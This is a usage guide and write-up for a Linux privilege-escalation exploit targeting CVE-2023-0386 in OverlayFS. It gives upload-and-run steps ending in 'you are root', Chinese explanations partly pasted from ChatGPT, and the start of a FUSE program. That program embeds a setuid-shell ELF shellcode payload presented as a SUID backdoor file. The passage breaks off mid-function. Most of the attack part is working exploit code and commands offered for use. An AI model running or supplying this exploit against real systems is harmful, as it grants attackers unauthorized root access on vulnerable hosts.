Exp Usage:
First:Upload fuse.c and exp.sh to the /tmp directory.
You can use scp or python3 -m http.server upload the file to target.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
or
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
And then:
cd /tmp
/bin/bash exp.sh
Now,you are root!

The following is a detailed analysis of CVE-2023-0386.
昨天也是看了一天的这个漏洞,简单来说就是OverlayFS将下层文件拷贝到上层文件时,没有对下层文件命名空间的用户是否映射到当前用户命名空间做校对,导致可以设置suid提权。
这里听起来非常的抽象,要了解这个问题首先需要知道几个点:
ChatGPT:详细介绍一下linux中的OverlayFS
OverlayFS,又称Overlay文件系统,是Linux内核中的一个联合文件系统,该系统可以将多个不同的文件系统重叠在一起,形成一个单一、统一的视图。它在Linux 3.18版本中正式被内核接纳。
OverlayFS主要有三个重要的组成部分:lower filesystem、upper filesystem和merged filesystem。每个部分的作用如下:
Lower filesystem(下层文件系统):这是基础层,通常是只读的。所有文件和目录最初都是从这一层获取的。
Upper filesystem(上层文件系统):这是顶层,通常是可写的。当我们对文件系统进行写操作时,所有的更改都会保存在这一层。如果一个文件在lower filesystem中存在,但我们想要修改它,那么这个文件的一个副本就会在upper filesystem中创建,然后进行修改。这个过程称为“copy-up”。
Merged filesystem(合并文件系统):这是OverlayFS的最终视图,它将lower和upper filesystem组合在一起。当我们进行读操作时,OverlayFS首先在upper filesystem中查找文件,如果没找到,再在lower filesystem中查找。
这种结构的逻辑视图如下:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
OverlayFS的一个重要应用是在容器化应用中,特别是在Docker中。在Docker中,每个镜像层都是只读的,并且可以用作其他容器的lower filesystem。当我们启动一个新的容器时,Docker会为其创建一个新的,空的upper filesystem。这样,所有对容器的更改(例如安装新的软件)都只会影响到upper filesystem,而不会影响到共享的镜像层。
此外,由于OverlayFS允许将多个lower filesystem挂载在一个上层下面,我们还可以创建具有多个层次的文件系统,这在Docker中的镜像层次中有广泛的应用。
总结来说就是,下层的文件只读,上层的文件可读写,合并层的文件将下上两层的文件合并在一起,显示一个统一的视图。当我们在合并层修改一个存在于下层的文件但是上层并不存在的文件时,会将下层的文件原封不动的复制一份到上层,以供修改。这也是漏洞触发的点。
GPT:你是一个linux内核专家,现在请详细的解释一下什么是FUSE?
FUSE(Filesystem in Userspace)是一种在用户空间中创建文件系统的机制。它是一个接口,由Linux内核提供,允许用户在不改动内核代码的情况下开发和运行自己的文件系统。
FUSE的主要目标是简化新的文件系统的开发和使用。使用FUSE,你可以创建自定义的文件系统而无需了解许多内核API的细节。这对于调试、快速原型开发、学术研究、实现非常特殊的文件系统(如透明加密文件系统、网络文件系统)等场景非常有用。
在FUSE中,文件系统的大部分逻辑都在用户空间中运行。这使得开发更加容易,因为用户空间提供了更友好的开发环境:你可以使用任何你喜欢的编程语言,你有更多的库可供使用,错误处理更简单,等等。另一方面,这也意味着FUSE文件系统通常比内核空间文件系统更慢,因为它们需要频繁地在用户空间和内核空间之间进行上下文切换。
FUSE文件系统通常由两部分组成:
在开发FUSE文件系统时,你需要实现一系列的回调函数,这些函数对应了各种文件系统操作,如打开文件、读取文件、写入文件等。当这些操作发生时,FUSE内核模块会调用相应的回调函数,并将结果返回给调用者。
总的来说,FUSE为在用户空间实现文件系统提供了一个强大的框架,它简化了文件系统的开发,同时也使得文件系统能够以模块化的方式进行扩展和修改。
其实Fuse就是允许用户去自定义一个文件系统,以及里面的文件。
我们需要用C语言去编写fuse相关代码。
你是一个linux内核专家,什么是用户命名空间
在 Linux 中,"命名空间"是一种内核特性,可以用来对进程的视图进行隔离,让进程只能看到属于同一命名空间的资源。每种类型的命名空间都对应一种特定类型的资源。例如,PID(Process ID)命名空间是用来隔离进程ID的,Net命名空间是用来隔离网络接口和网络栈的,Mount命名空间是用来隔离文件系统挂载点的,等等。
用户命名空间(User Namespaces)是 Linux 命名空间的一种,主要用来隔离用户和用户组ID。每个用户命名空间都有一套自己的用户和用户组ID。例如,一个进程在用户命名空间 A 中可能以 root 用户(UID 0)运行,但在用户命名空间 B 中,该进程可能只是一个普通用户。
这样做的好处是,即使一个进程在其用户命名空间内拥有 root 权限,也无法影响到其他用户命名空间的资源,因为在其他命名空间中,它可能只是一个普通用户。这大大增加了系统的安全性,使得即使一个容器(它其实就是运行在自己的一套命名空间中的一组进程)被攻击,攻击者也无法影响到主机系统或其他容器。
用户命名空间是 Linux 容器(如 Docker、LXC 等)的核心技术之一。通过使用用户命名空间和其他类型的命名空间,容器可以在不需要虚拟化的情况下提供与虚拟机类似的隔离性。
总的来说,用户命名空间是 Linux 中用来隔离用户和用户组 ID 的一种机制,对于提高系统和容器的安全性,它起着重要的作用。
那用户命名空间映射是什么?
在 Linux 的用户命名空间中,我们有一个非常重要的概念:用户命名空间映射。这个映射定义了在不同用户命名空间之间如何转换用户和组 ID。也就是说,一个在一个用户命名空间内部看起来是 root 的进程,在宿主或者另一个命名空间可能只是一个普通的非特权用户。
这个映射机制可以通过修改 /proc/[pid]/uid_map 和 /proc/[pid]/gid_map 文件来设定,其中 [pid] 是进程的 PID。在这些文件中,每一行都是一个映射项,由三个字段组成:命名空间内的 ID,命名空间外的 ID,和 ID 的范围。例如,"0 1000 1" 表示命名空间内的 ID 0 映射到命名空间外的 ID 1000。
例如,一个在用户命名空间 A 中运行的进程可能有一个用户 ID 为 0,看起来它是 root 用户。但是,如果我们在用户命名空间映射中将 0 映射到了 1000,那么对于宿主命名空间和其他用户命名空间来说,这个进程的用户 ID 就是 1000,也就是一个普通用户。
通过这种方式,用户命名空间映射提供了一种方法,可以让进程在其所在的用户命名空间内拥有完全的权限(例如,root 用户),而在其他命名空间中仍然只是一个普通用户,这对于隔离和安全性非常重要。
因为在下层文件系统中的文件是用户高度可控的(fuse生成),可以自定义任何文件,比如一个suid文件(但是为了安全起见,FUSE 有一些默认的限制。其中一项限制就是,它默认挂载的文件系统是 nosuid,也就是说,FUSE 文件系统上的 setuid 和 setgid 位是被忽略的,虽然它被fuse忽略,但是suid位仍然存在。)。但是我们可以通过把一个nosuid系统中suid文件通过overlayFS的特性从下层拷贝到上层,这里的上层是一个正常的文件系统,导致非法的suid文件获得真正的suid权限,进而达到提权。
准备工作需要创建多个文件夹,构建出一个overlayFS。
cd /tmp
mkdir fuse upper overlay workdir
其中fuse是用户自定文件系统所在文件夹,也作为overlayFS的下层。
upper作为overlayFS的上层。
overlay作为overlayFS的合并层。
workdir是overlayFS的工作目录。
1、创建fuse文件系统。
下面的fuse代码是我在c师傅的基础上修改的。https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);